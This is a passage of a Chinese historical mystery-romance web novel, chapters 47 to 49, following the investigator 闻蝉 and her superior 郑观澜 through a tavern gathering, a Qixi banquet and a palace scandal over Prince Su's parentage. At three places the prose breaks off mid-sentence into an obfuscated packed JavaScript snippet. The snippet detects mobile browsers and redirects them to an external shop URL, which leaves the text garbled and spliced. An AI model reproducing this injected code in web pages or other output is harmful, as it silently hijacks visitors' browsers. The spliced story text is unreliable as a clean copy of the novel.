“这个郎老狗!老使唤你。”闻蝉骂了一句,“我去问问。” 小梁作揖:“还得是我们闻娘子最扛事儿!” 闻蝉脚步一顿:“还是去西市的酒楼吗?” “自然,还是老地方,蹇记羊肉,后日下值就去。” 闻蝉点头记下,转身回了值房。 一进院子,大黄耳依旧如同往常扑过来“汪儿汪儿”的叫。 闻蝉蹲下身揉了揉它的耳朵。 “对面的在吗?” “汪儿!”叫声简短有力。 闻蝉起身看向郑观澜值房外的窗台。 那里放着一盆铃兰花。 是从林兰家里拿来的。 闻蝉推门而入,站在角落。 郑观澜坐在窗前,回头看着她。 “事情办完了。” “办完了呀。”闻蝉站在门口没动。 “我脸上有什么吗?”郑观澜冷不丁说道。 “啊?” “你站那么远做什么?” 闻蝉指了指那花。 “我见了花粉会起风疹。” 郑观澜看着那花,伸出手,有些不知该如何是好。 “也没那么严重,不离近了就行,也怪得很,牡丹花山茶这些就没什么。” 郑观澜缩回手:“这花是表姐让我带去给她的,今日就要拿走。” 闻蝉点点头。 “对了,后日下值后我们要去蹇记羊肉喝酒,你要一块儿吗?” “你也去?” “当然!我可是大功臣,不去像话吗?” 窗外的大黄耳忽然叫了两声。 郑观澜失笑:“大黄耳不乐意了。” 闻蝉“啧”了一声。 “没忘记它的份,你去吗?” 郑观澜一口应下。 “自然要去。” “真的?” 闻蝉有些意外,她还以为对方会拒绝呢。 郑观澜转过身,定定看着她。 “怎么?是不想让我去。” 闻蝉急忙否认。 “我没这个意思啊!这不是看有些时候连颜九郎的邀约你都要拒绝吗?” “那些地方谁去啊……”郑观澜的声音很小。 闻蝉没听清。 “你说什么?” 郑观澜摇摇头。 “我不去岂不是显得太傲气?阎王好见小鬼难缠。让他们心里不舒服了,面子上他们不说什么,背地里推三阻四阳奉阴违,稀碎手段也够我喝一壶了。” 闻蝉涨红了脸。 “白眼狼啊,我那不是为你好吗!” 郑观澜眼睛微微弯起,脸上带着一丝不明显的笑意。 “我知道。” …… “来!郑评事,我敬你一杯!”喝得半醉的郎荣拉着郑观澜说个没完,“我原来还以为你这人跟那些人没啥区别,但是这段时日处下来才发现你人还不错。” 郑观澜意外没有什么反应,只顺着他喝下一杯酒。 有些事,解释再多不如用行动表示。 “我听人说了,你也没抢闻闻的功劳。”郎荣的酒杯举起,“是个爷们儿!” 郑观澜此刻却变了脸色。 “闻闻?” 郎荣捂住嘴,酒意都散了几分,还颇为警惕地看了看对面的闻蝉。 见对方只是埋头吃肉,他才放下手。 “阿蝉小时候的绰号。你知道她鼻子灵嘛,当时卓啸养了个小狗,和她似的,老爱到处闻,就故意取了个名字叫闻闻。”郎荣小声祈求,“你可不能和她说啊,每次提这事儿她就揍人。” 他搓了搓胳膊。 郑观澜低低“嗯”了一声。 他灌下一口酒。 辛辣的酒烧得胸口有些刺痛。 他们都是一块长大的啊…… 卓啸,萧散,郎荣…… “我去给大黄耳打包!”闻蝉起身离开席位,朝着后头走去。 “郑六郎。”徐数横来的手正好压住了蠢蠢欲动的郑观澜,“来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“灭口!”李成学脱口而出。 “我给你推荐一个人,你拿着这封信去找他,我已经给他打过招呼,他会帮你。” “谁?” “张思华,张家的一个儿子,他就在青龙寺后山住着。”闻蝉嘱咐道,“至于要怎么做,我已经告诉了他。” 李成学心激动得直跳。 “好好,我明日就去办!” “记住,事后,你要帮他。” 李成学拍着胸膛保证。 “这你放心!交易嘛,我明白的。梁王也不是什么好东……” “嘘!”闻蝉忽然捂住他的嘴,眼神唰的一下盯着门外,她压低声音,“外面有人。” 李成学点了点头,示意自己明白。 闻蝉放开手,用口型说道:“你先躲起来。” 二人在此会面数次,李成学早有准备,立即躲进旁边的一个大柜子。 闻蝉这才装作没事人一般,推开门。 “你在这儿干嘛?” 只见郑观澜就靠在门口,脸上还是一贯的深沉表情。 “你……你一个人在此处?” 闻蝉昂着头,理直气壮。 “是啊,累了想休息。” “平日里没见你这么容易累……”郑观澜顿了顿,“我带你去个地方。” “去哪儿?” 郑观澜没有回答,只是向外走去。 闻蝉好奇,跟了上去。 绕过已经喝得半醉的同僚们,出了大门,沿着街道向左。 当下,正是西市最热闹的时刻,路两边摊贩一个挨着一个,路中的行人来往如梭,二人在人群中穿过,走到一个不小的店面前,郑观澜才停住脚步。 抬起头,牌匾上刻着“铃兰社”三个字,角落画着一串小小的铃兰花。 闻蝉似有所感,朝里看了进去。 正对大门的屏风前放着一个长条桌案,桌案上是一个盆盛放的铃兰。 铃兰花经过郑观澜几日的伺候,底部的黄黑已经褪去。 “王夫人她们的地方?” “是,明面上是喜欢养花或是诗词歌赋的女子都能加入,实际上是为了帮那些和她们一样的人。这样,也不算是辜负了林大夫。” 一阵风吹来,铃兰悠长的香气清透心脾。 闻蝉打了个喷嚏,笑了。 47. 第 47 章 临近七夕。 王有竹传信来说是准备了些乞巧果子,让闻蝉去铃兰社里拿。 闻蝉和郑观澜下了值就去了。 铃兰社里今日格外热闹,有十几岁的少女七八十的老妇人,诸色人等,都坐在一个大桌边上染着指甲。 张思华忙前忙后端茶递水,做着杂活,没有看见他们。而正给人染着指甲的唐琼花似有所感,一抬头就和闻蝉视线相撞,她微微颔首,面带微笑。 接待他们的是王有竹。 她精神比以往饱满许多,脸庞丰盈起来,显出更盛的美貌。 “今儿人多,我们去楼上。” 带着二人上楼进了一个房间。 王有竹拿出两盒七夕巧果给二人。 “本说亲自送去大理寺,可今日实在是太忙,只能让你们跑一趟了。” 闻蝉笑眯眯打开一看。 盒子里巧果和平常的不太一样,都做成了花朵的形状,还上了各种颜色,看着像是一盆花。 “你们自己做的?” “悠娘的手艺。” 闻蝉比着大拇指:“真是厉害,做得像是真花一般。对了……今日不是该文娘子和你一块吗?她人呢?” 王有竹捂着嘴笑了笑,旋即推开边上的窗户。 透过窗户缝隙,就能看见铃兰社旁边的小巷子。 小巷子里,一男一女相对而立。 一个是文敏,另外一个穿着金吾卫的明光铠,是霍其彰。 “还不都是你,给那霍将军牵了线,今儿你是见不着敏娘了。” 下头的霍其彰动作僵硬,像是个木头娃娃似的。 闻蝉哈哈一笑。 “捏住老霍的把柄了,你看他那傻样!”她扯着郑观澜的袖子。 即使是郑观澜,见了霍其彰这模样也忍不住发笑。 王有竹眼神在二人之间打了个转,张了张嘴,还是没有说什么。 “这老霍光这样,没提亲事?”闻蝉问道。 “我问过,他说不管事实如何,当年那事对敏娘影响尤在,冯鄂才死,若他贸然提出亲事,怕旁人会议论敏娘。他是怎么也不肯敏娘如同当年再受委屈。” “算他有心。”闻蝉不怀疑霍其彰的想法。 他自年少就倾心文敏,即使对方已经嫁人,他也未嫁娶,之后一直默默在暗地里帮着文敏,生怕让旁人知晓,传出不利文敏的话来。 为了她,能够克制到这个份上,除了心思灵巧的林兰无一人看出一分破绽。 爱,是为了她好,能够舍弃自己的私欲,而不是一次又一次对她造成实际伤害,还口口声声是因为爱她。 “等过段时间,风头过去了,他就八抬大轿,把敏娘娶回家。”王有竹吃吃笑着,“那日他生怕我们误会,还非带着我去瞧了他准备好的聘礼。” 闻蝉咧嘴。 “老霍这完全是蓄谋已久哇!” 从铃兰社出来,已经快要黄昏。 二人在路上慢悠悠走着,难得安宁。 “梁王死了。”郑观澜忽然说道。 闻蝉扬眉。 “什么时候的事啊?” “今早的消息。昨晚,梁王心疾发作暴毙。陛下很是伤心,斥责梁王的儿子不孝,没有照顾好父亲,只准其长子降等袭爵。” “除去有功之臣会开恩,袭爵本就是降等。” “三品侯爷。” 闻蝉愣了一下:“降了这么多?”她又笑了一下,“不孝这样的名头,也不奇怪。” “不孝?”郑观澜顿住脚步,看着她,“我倒是觉得梁王的子女很孝顺,替自己父亲背了这样大一个锅。” 闻蝉歪头,仿佛什么都不知晓的样子。 “什么锅?你又知道什么内情啦?”她眯起眼笑道,“快和我说说。” 郑观澜见她装傻,气得胸口发闷。 “李家大郎李成实在骑马的时坠马身亡。” “这我知道,然后呢?” 郑观澜逼近一步。 “是梁王做的。” “他?梁王和李家有仇啊?” “最近刑部正在重查当年私贩茶叶一案,李成实牵扯其中。梁王不知从何处得知了李成实要告发他的消息,竟然剑走偏锋直接将其灭口。” 闻蝉煞有介事地拊掌道:“狗咬狗嘛。” “可惜,梁王事情做得不干净,让李家拿住了把柄,李家老夫人找到陛下好一通哭诉。” “原是为了这个,那梁王也是自掘坟墓了。李家再如何都是先太后的娘家,更何况,李家死了的老太爷还有从龙之功。李成芳是废了,嫡出就剩一个李成实,他还敢把人给杀了?难怪陛下不愿放过他。” 郑观澜的眼神一错不错盯着她的眼睛,不想放过一丝异样。 “你不觉得这事情太巧合了吗?就像是有人安排好了一样。” 闻蝉抬脚向前走着。 “老天爷安排的呗,天意!你怎么这么关心这事儿?” 郑观澜走在她身边,弄得她满鼻子都是他身上的气味,让人心烦。 “陛下把此案交给了我。” 闻蝉语气很是冷淡。 “哦,那恭喜你,又有得忙了。” “只平反,不深究。没什么好忙的。”郑观澜补了一句,“你最忙。” 闻蝉背着手,没有看他,向前大踏着步。 藏在袖子中的手已经微微发着抖。 这厮定然是察觉了什么。 看来,她以后和李成学打交道得再谨慎一些。 不仅如此,她还得和他保持距离! …… 七夕。 今年七夕,皇帝特意在曲江边上摆好了宴席。 闻蝉也被李九珠强拉去了,幸好半道上碰见了护国公家的两个孙女——易神爱和易神秀。 这两位是一对双生姐妹,生得像她们的母亲,样貌没得说,只是气质迥然不同,姐姐易神爱欢脱,妹妹沉静。 所以即使是不熟悉的人也能一眼分辨出两姐妹。 见闻蝉朝着自己使眼色,易神爱瞬间明了,急忙解围道:“李夫人!让阿蝉和我们一块儿吧!” 李九珠面露犹豫。 她本是想要借着今日七夕的机会,给闻蝉相看,还特意让她打扮过,可这一群小娘子凑一块儿了,哪里还有机会呢? 易神爱凑近,对着她小声说道:“今儿,我娘也要和我们相看呢,让阿蝉和我一起吧。” 李九珠眼睛一亮。 夏夫人那里的郎君定然都是“好货色”! “那你们好好玩儿,我就不打扰你们这些小孩了。” 送走了李九珠,三人都松了口气。 “谢天谢地!”闻蝉扶了扶头上的步摇,“你可不知道,我今早天还没亮就被我姑母薅起来打扮了,光是上妆都折腾了一个时辰!一个时辰啊!我脖子都快断了!” 易神秀安慰道:“你今日这样很好看,给自己看也是划算的。” “就当是给我们看!”易神爱笑嘻嘻的,“我还没见过你这模样呢!” 今日这一个时辰确实没有白折腾,闻连彩把她的脸修饰得如同剥了壳的鸡蛋似的,五官线条描摹得更加利落,着重突出的一双星眸更是引人瞩目,再加上她身上那一股特有的倔强清冷气韵…… 易神秀左右看了看,微微皱起眉。 “一群苍蝇。” 她说的是那一群眼睛都看直了的男人。 闻蝉却不介意,反而昂起头。 “看瞎他们的狗眼。” 易神爱哈哈一笑:“没事儿,等会儿胡娘子就要到了,等她到了,就没人敢看了。” “说我坏话呢?” 一个雪肤红唇的美人从后头冒了出来。 闻蝉眯了眯眼。 虽然见过多次,但是每次见到胡久宁都会被她的美貌闪一下眼睛。 人美似狐。 那个传言中迷惑了纣王的九尾狐想必也是这样貌美。 “是说武信侯的坏话!”易神爱摸了摸胡久宁的脸,“他人呢?怎么没来?” 武信侯周仪是胡久宁的未婚夫,出了名的煞神。 “他还要等会儿呢。”胡久宁拉着闻蝉,“你今日打扮得可真好看。” 闻蝉丧着脸:“累累累,我现在就想好好睡一会儿。” 胡久宁刮了刮她的鼻子。 “等会儿宴会开始我们就溜走,找个地儿好好歇一歇。” 闻蝉这才开心了些许。 易神爱招手:“先去我家那边坐着吧。”她瞥了一眼那一群男人,“妹妹被看得不自在。” 闻蝉边走边说:“我该带着验尸箱,好吓吓他们。” 想到之前的经历,胡久宁微笑:“你还是不带为好。” 不然保不齐得出什么案子! 易家姐妹憋笑。 闻蝉瞪眼:“你学坏了,会讽刺人了,这可不像你!” 胡久宁叹气:“阿蝉呐,人还是得承认事实……” 四人说说笑笑走到易家的位置坐下。 旁边几位易家的郎君十分自觉帮忙上茶端点心。 “难得见闻娘子妆饰。”开口的人是一个态度最殷勤的郎君,这人瞧着十七八岁,生得浓眉朗目,笑容很是干净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918610|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是护国公家的七郎,易韬。因着年纪不大,平日里和这几个娘子更相熟些。 “如今一看才知道什么叫做藏拙啊!” 闻蝉玩笑道:“你是说我平日很拙劣?” 易韬大笑。 “我夸你呢!” 闻蝉余光瞟见了不远处的颜青,问道:“怎么只见颜驸马,没瞧见公主呢?” 易神爱说道:“表姐病了。说是擦了一种治痹症的药膏,那药膏虽有用,却有毒性,害得表姐长了一身疹子,不能见风见光,就连成亲那日我们都没见着她。” “这么严重?”胡久宁吃惊。 “只是这一段时日不能见风见光。”易神秀说道,“表姐在沙场上落下不少病痛,能治好她的痹症就值。” 闻蝉微微眯起眼。 不对劲…… “嘿!颜九!”易韬忽的站起身,朝着旁边招呼。 颜子光?那岂不是…… 闻蝉手里的茶盏歪了歪。 “郑六也来了!”易韬上前亲亲密密和二人打着招呼。 和他满面春风相比,二人的脸色就不太好看了。 “闻娘子也在呢。”易韬想起二人的同僚关系,招呼闻蝉,“你们郑评事来了。” 闻蝉暗叹一口气,这才晃悠悠起身,缓缓走过去。 “郑评事有礼。” 郑观澜紧紧抿着嘴唇,没有应声。 易韬这才觉着不对味。 难道这二人关系不好? 颜子光却笑了起来。 “闻录事没瞧见我吗?” 闻蝉反而松了口气。 “颜九郎,许久不见。” 颜子光斜了一眼郑观澜,说道:“是许久不见啦。没想到你和易七郎也认识,真是缘分啊!” 易韬是个没心眼的人,笑呵呵说道:“闻娘子和我们易家关系向来好呢!之前我祖母还说想认闻娘子做干女儿,可惜祖父……” 之后的声音逐渐听不见了,郑观澜想着。 干女儿哪里有孙媳妇亲近!他看护国公定然是存了这份心思! “郑六!郑六!”易韬挥了挥手,“你想什么啊?” 郑观澜回过神,眼睛颤了颤。 “没什么,有些累。” 易韬挑眉一笑。 “大理寺事多,就是这样,闻娘子也经常忙得喊累。你也是倒霉,怎么就进了大理寺呢。” 闻蝉点头。 就是就是,烦死了,为什么来的不是颜青呢? 郑观澜见她忙着点头的样子,气得气血翻涌,原本因为劳累而发白的脸色都红润了起来。 最近这段时日她都是这样,如今还当着这个外人的面…… 气得昏头,他拂袖而去。 易韬一脸莫名。 “这是……” 颜子光拱拱手:“甭理他,他就这狗脾气,回见!” 他说完急急忙忙跟上去。 易韬挠脸:“这……” 始作俑者闻蝉一脸无辜,还耸了耸肩。 “他就这样。” …… 另外一边,追上了郑观澜的颜子光还是如往常一样趾高气昂,甚至可以说毫不顾忌自己兄弟那张黑脸,显得格外欠揍。 “嘿,郑六,闻娘子救过护国公的命,如今又脱了贱籍,你说护国公是不是想让她做自己孙媳妇啊?不然,他怎么会说什么‘我和闻娘子是金兰之交,怎么能让她矮我一个辈分’这种话呢?” 他的话像是夏日在耳边骚扰的蚊子。 嗡嗡的,惹人厌烦,让人打心底烦躁,想要伸手去拍开。 “而且,你看这个易韬和她关系那么亲密,一定是护国公授意的,想让他们先相处,等处出感情了,一切水到渠成……我和你说啊,易七郎本来也很喜欢闻录事啊,我之前听他讲过许多次闻录事破案的事儿,听说他还准备写本书,专门记录闻录事之前破的案子……” 郑观澜脚步顿住,缓缓转过头,阳光映得他微黑的眼珠有些发红。 颜子光缩了缩脖子,安静了下来。 郑观澜合了合眼,眼中的红光消失,仿佛一切如常。 “十六他们已经到了,今日去的时候你正好问问他,为何那日让你吃了闭门羹。” 颜子光瞬间涨红了脸,气得浑身都在颤。 “你……你!” 郑观澜转过身,向前走去。 “你们兄弟好好说说,应当只是误会……” 语气云淡风轻却格外让人火大。 颜子光跺了一下脚。 “郑观澜!你自己憋火还拿我撒气!” 48. 月圆之夜 闻蝉靠在贵妃榻上假寐,对面坐着胡久宁。 胡久宁自顾自说着话。 “周仪说,想在年底的时候把亲事定下来。” “唔,这不挺好的吗?你担心什么?” “你又不是不知道。祖父父亲都走了,如今我和母亲还有祖母就寄居在丞相府中。虽说丞相夫人是祖母的亲表姐,可这关系终究远了。平日里倒是没什么,若出嫁还在葛家,倒像是我们占尽了便宜。”胡久宁一脸忧愁。 她口中的丞相其实并非如今还在三省担任主官的三位官员,而是已经卸任的葛昭。 葛昭地位极其崇高,是复兴周室的头号功臣,先帝的托孤之人,就连今上都称其为相父。 闻蝉语气轻松。 “你不是早就确认过了吗?周仪娶你并非冲着丞相的权势去的。丞相老来得子,孙辈也还小,你从小在他跟前长大,或许对他来说,能亲手送你出嫁还是一件喜事呢。” 见对方依旧愁眉不展,她继续说道:“即使从利益的角度来说,周仪也是正儿八经的侯爷,如今又受太子重用,日后前途不可限量,也不算攀附葛家。你只安心等着,若是丞相愿意你在葛家出嫁定然会主动准备,若是他不愿意。你们自己找个由头搬出去就是了。” 胡久宁这才安心些许。 “幸亏有你,这些话我都不敢和别人说,他们不明白的。” 这种寄人篱下的举步维艰。 “日后就好了,周仪是个好人。” 胡久宁微微一笑:“我知道。” 闻蝉忽然睁开眼。 “对了,你那个妹妹呢?” “你说葛溪啊?” 葛溪是葛昭堂兄的孙女,也寄住在葛家。 “她最近总是没见着人影,方才刚到此处就说自己嫌吵,要到处走走。” “一个人?” “是啊。”胡久宁也很无奈,“确实不太妥帖,可别人亲爹都不管我们怎么开口?” 闻蝉是不太喜欢葛溪的。 “反正啊,这家人都有些不对,你离她们远些。和没脑子的人离近了都要连带着遭殃。” “我知道的。” 闻蝉看了一眼外头。 “这得什么时候才结束啊?” “还早,你继续睡吧。” 闻蝉撇撇嘴,又躺了回去。 砰!砰! 门被人砸了两下。 “阿蝉!久宁你们在里面吗!” 是易神爱的声音,带着明显的焦急。 闻蝉一下坐起身。 “在!” 门被猛地推开,易家姐妹急步而入。 胡久宁拉着她们坐下。 “这是怎么了?急匆匆的。” 易神爱坐在凳子上,不安地动了动身体。 “出事了,出大事了!” 易神秀附和着点头。 姐妹俩都是一脸的慌张。 不知情的二人有些懵。 闻蝉说道:“你们慢慢说,出什么事了。” “肃王殿下不是陛下的儿子!”易神爱高声道。 “不可能!”闻蝉立即反驳,“肃王殿下和义阳公主长得七八分的相似,怎么可能不是陛下的儿子?” 胡久宁也说道:“我原先听祖母也说起过,肃王殿下和义阳公主都长得像先太后。” “这谁知道?” 易神爱喝了一口茶,讲起了刚刚宴会发生的事情。 “方才,肃王突然说郑贵妃是被人毒死,还带上了一个贵妃曾经的婢女作证。说到一半,那作证的妇人忽然变了脸色,说自己亲眼见到太医院的钟太医在郑贵妃生产时,抱来了一个孩子换走了贵妃的孩子。” 二人听得心头震动。 胡久宁喃喃道:“我明白了,贵妃的亲子其实是个女孩,他们把孩子换成男孩了?” “没错!”易神爱拍了一下掌。 闻蝉还是怀疑,问道:“钟太医呢?” “死了。” “死了?” “钟太医当场承认了此事,说完就自刎谢罪了!”易神爱耸耸肩,“陛下大怒,当即让人将肃王以及郑家拿下,圈禁府中,由金吾卫亲自看管。” 郑家……郑观澜的郑家? 闻蝉记不清自己是怎么回到大理寺的。 她躺在值房内的榻上,盯着房梁。 耳边的蝉鸣嘶嘶响着,震得人耳朵疼。 她吐出一口气。 这件事不对劲。 郑贵妃死时才二十出头,就算生了一个女儿也可以继续生儿子,没有必要冒着这么大风险就为了换个别人的儿子。 还有……郑贵妃自己也死了。 她越想越觉得胸口的闷气都散去了几分。 还有郑家……她了解不多,可是看郑观澜行事就知郑家人做事是相当谨慎的,若无极大的利益,他们不会冒这么大的险。 是被人算计了? 她缓缓坐起身,眼神清明了几分。 窗对面的值房一片漆黑,门窗紧闭。 闻蝉合上眼。 明日,等明日蔡叔来了,去问问他吧。 然而,到第二日,蔡真还没有到,另外一个更知内情的人就来了。 彼时,闻蝉正拿着长竹竿子网着那树上残存的几只蝉。 来者是颜青。 她来的目的也很简单。 “帮人带句话。” 闻蝉手上的竿子歪了歪。 “郑观澜?” “你怎么知道?” 闻蝉移开眼神,不自然转过身,举起竿子戳了戳树冠。 “他说什么了?” “他说让你不要忘记承诺。” 还想着这事儿? “夯货!” 颜青笑了笑,凑近道:“那个……还有个事儿。” 闻蝉转过身,盯着她。 “那个叫任文秀的婢女和你有关系?” 颜青长叹一口气。 “我感觉我们是被人下套了!任文秀前段时间找我,说她儿子被人害死,要和我交易,只要我为她儿子申冤,她就告诉我贵妃之死的真相。没想到一到陛下面前她就变了说辞!” 如此就能说得通了。 闻蝉清了清嗓子。 “那陛下……会如何处置郑家呢?” 颜青直言道:“郑家势大,陛下很有可能借此事就将郑家铲除。” 闻蝉捏紧了手里的长竿,手指骨节微微发白。 “圣意不可违。” 这样大的消息自然传遍了整个大理寺。 自颜青走后,又来了几波人打听。 把闻蝉烦得一口饭没吃,躲在验尸房里面找清净。 一直到下午,验尸房的门忽然被敲了两声。 笃,笃。 声音沉重有力而规律。 “蔡叔?”闻蝉扭过头,看向门口。 蔡真推开门,手里拿着一个食盒。 “小孩子吗?还闹绝食?” 这语气四平八稳的,闻蝉却莫名心虚。 “忘了……” 蔡真没有多言,转过身,朝着门外的桌子走去。 “出来。” 闻蝉乖乖跟上去。 食盒里放着一碗萝卜清炖牛肉和一碗米饭。 看上去白白的,让人没有胃口。 可是蔡真坐在一旁盯着,闻蝉还不敢这样说,只能拿起筷子,一口一口扒着饭。 “好了。”蔡真握住她的手腕,“不想吃就别吃。” 闻蝉悻悻放下筷子,心中腹诽:那还逼我吃…… 蔡真松开手。 “陛下传旨,加封肃王实封满一千户。” 闻蝉手一颤。 “还有呢?” “没了。肃王府和郑家门口的金吾卫并未撤去。”蔡真强调道,“也没有任何关于郑家的旨意。” “蔡叔……”闻蝉埋着头,“陛下这是什么意思?” 蔡真自己也摸不准。 “肃王是没事了。” 但是……郑家就说不定了。 话里的未尽之意,他们都明白。 …… 天色已暗,弯月挂在天上,被云遮住了一半,只有淡淡的光撒下,路上十分昏暗。 闻蝉拿着卷宗,腰间的令牌一摇一晃,阔步走向郑家。 郑家的门口守着一排排金吾卫,一股肃杀之气,让人不敢靠近。 闻蝉却直直走了过去,十分坦然。 “霍将军!” 领头的霍其彰见她踏步而来,惊了一下,小跑着过来,压低声音道:“你怎么来了!” 闻蝉扬了扬手里的卷宗,声音也不小。 “嗐!这不是前段时间那个案子?还有事要找你问。事情急,我也顾不得其他了。” 霍其彰是个武人,但不傻。 什么事要急到这么晚了来找他?分明就是为了郑观澜而来。 “是那个案子啊?我知道了。你先跟我来。” 他转身将人带到一处无人看守的院墙根下,左右看了看、 “我知道你是为何而来。你成全了我,我也会成全你……” 闻蝉抬手:“等等!你误会了。” 霍其彰瞟了一眼卷宗。 “真是来找我的?” 闻蝉笑了一下。 “有件公事要找郑评事,这事儿只有他知道,没法子,只能来求你了。” “公事?”霍其彰高高挑起眉。 唬鬼吧? 闻蝉昂头:“不然呢?我和他还有什么私事可讲吗?” 霍其彰嘴角抽了抽。 “你们俩挺像的。” 闻蝉语速飞快。 “谁和他像?!” 得嘞!年轻人的纠缠心思,他是搞不懂。 霍其彰侧身,指了指墙。 “自己去吧,这墙翻过去向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925339|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前走三个院子就是郑观澜住的地方。” “谢啦!”闻蝉把卷宗往怀里一揣,撸起袖子。 霍其彰还是没忍住:“为了公事嘛~” 闻蝉手下差点一滑。 明明自己就只是为了公事! 回头瞪了他一眼,跳上墙,双手拉住,借力一踩一蹬,双脚一收坐在墙上。 见院内没有一个人,她才放下心,转过身双手撑住,慢慢向下降,降到一半的时候,脚一蹬,反身跳下,落地一滚,稳稳落地。 她起身拍了拍身上的灰,小声赞自己。 “身手过人啊!” 按照霍其彰所言,她蹑手蹑脚向前走去。 幸好,郑家巡夜的人很少,她只需要借着树丛假山就能躲避开。 走了一刻钟,终于到了郑观澜的院子。 院墙可低矮许多,闻蝉找了个角落轻轻一跃就翻了过去。 落地的地方正好是一小片竹林,完全没有惊动任何人。 她松了口气,借着缝隙,望向院内。 院内没人? “喵?”一双黄澄澄的眼睛骤然出现在眼前。 闻蝉吓得猛退一步,定睛一看才发现是郑观澜养的那只玄猫! 她急忙小声对着猫说:“你是乌玄对不对?你记得我不?我不是坏人啊,是你主人的同僚,你千万别嚷嚷啊,乖猫猫……” 黄色的眼睛闪了闪,乌玄也真没出声。 闻蝉见这猫儿似乎很聪明,蹲下身说道:“我找你主人有事,咳咳,有公事,不是私事啊,你知道他住哪个房间吗?” 乌玄尾巴在她脚面一扫,小声喵了一声,向外走去。 闻蝉左看右看,跟了上去。 在乌玄的带领下,她几乎是畅通无阻到了正房门口。 房内烛火还隐隐绰绰亮着。 “聪明猫!”闻蝉把乌玄搂起来,抱在怀里,推门进去。 “喵喵喵。” 正背对门的郑观澜还坐在凳子上,披着衣裳头发也散着,手压在琴上。 他并未回头,只听见猫叫,还以为是成生抱着猫来了。 “谁让你进来的?” 闻蝉过去就是一脚。 凳子一歪,郑观澜差点摔倒。 他撑着桌面,转过头骂道:“你好大的胆子……” 对方的模样撞进了他的眼中。 郑观澜愣住了。 “闻蝉?” “嗯~”闻蝉扬起下巴,抱着猫坐在了一边,“大晚上不睡觉在这儿鼓捣琴?” 郑观澜扶住额头:“不是鼓捣。” “是抚琴?”闻蝉“啧啧”了两声,“风雅哦。” 那种熟悉的气得人胸口发胀的感觉又来了,郑观澜确定此时不是自己的幻觉。 他背过身把衣裳裹好,问道:“你怎么进来的?” “守门的是老霍嘛。” “霍将军吗?” “嗯……那个……”闻蝉从怀里掏出卷宗拍桌上,“听说你们郑家要完蛋了,所以我来把这个东西给你。” 什么叫做他们郑家要完蛋了!!!! 郑观澜浑身发抖。 “你说什么?” 闻蝉悠闲摸着猫:“要是你被流放什么的,把这猫儿给我养吧?它长得真好看。” “休想!”郑观澜牙齿磨了两下,“你那点月俸都不够它的吃食钱!还想养它?” 闻蝉毫不在意:“你以后说不定比我还惨呢,有的吃就不错了,还挑挑拣拣。” 郑观澜冷笑。 “你放心,不会有你期盼的那一日。陛下只是一时之气,我们郑家行得正坐得直,陛下自有公断,不会如你所愿!” “那真是可惜了啊~”闻蝉一脸遗憾,把猫放下,站起身来,“走了。” 郑观澜把卷宗扔给她。 “别忘记你的破卷宗!” 闻蝉一把接住,把卷宗在他脸跟前晃了晃。 “王子迁的案子你真不看啊?” 郑观澜咬牙,把卷宗一把抢过。 “你查到什么了?” “一条证词,出事当晚,有一位穿着官靴的老人经过了王家,还和王子迁的乳母说了话,是个乞丐看见的。” “没了?” “没了。” 郑观澜把卷宗放下。 “我还以为多大的事,值得你老人家亲自跑一趟。” “这不是以为你家要玩儿完了嘛!你又让十六给我带话,我怕你死不瞑目,到时候来找我!” 郑观澜气得表情扭曲。 “你就盼着我家出事是吧?” 闻蝉捂着嘴,眉眼弯弯:“也没有啦。” “你还在笑!”郑观澜指着她,“你等着,最多一个月陛下就会放了我家,别忘了我是你上官!你就等着你的考勤变下下吧!” 闻蝉歪了歪头,一掌拍落他的手,笑得眼睛都眯了起来。 “那我等着。” 49. 一波又起 如郑观澜所言,不到一月,皇帝竟然真的将金吾卫撤去了,一切如常。 也没人敢提什么。 这事仿佛就这样抹了过去。 郑观澜回大理寺的第一日先去了徐数处。 这是大理寺的一把手,不管如何,好歹得去走个过场。 他到的时候,蔡真也在。 “下官见过徐寺卿,蔡少卿。” 徐数也一如之前,笑着说道:“回来了?” “陛下明察秋毫,自不会让郑家再委屈。” 这就是此事真与郑家无关了? 徐数眼神闪了闪。 “是啊,你就当休息了这几日。”他打了个哈哈,“这段日子可忙得紧啊,你也算是躲过一劫了。” “是下官让诸位多费心了。” “都是同僚,没那么多计较,你回来就好。”徐数说道,“回去上值吧,还有不少事等着你处理呢。” “是,下官告退。” 蔡真忽然道:“下官还有公务,先告辞了。” 二人一起从内而出,在游廊慢慢走着。 蔡真先开口道:“闻录事一直很担心你,如今你回来,她也放心了。” 郑观澜脚步顿了顿,只觉得身上热了一下。 “是……” 蔡真继续说道:“这孩子只是嘴巴厉害,心眼一点都不坏,出事第二日,她还躲在验尸房连饭都没吃呢。” 郑观澜耳朵一点点烫了起来。 两个人本就都寡言少语,又少有交道,蔡真一个人说着有些不自在了。 “咳咳。你……回去好好办差,好好和闻录事相处。” 郑观澜拱手道:“下官明白。” 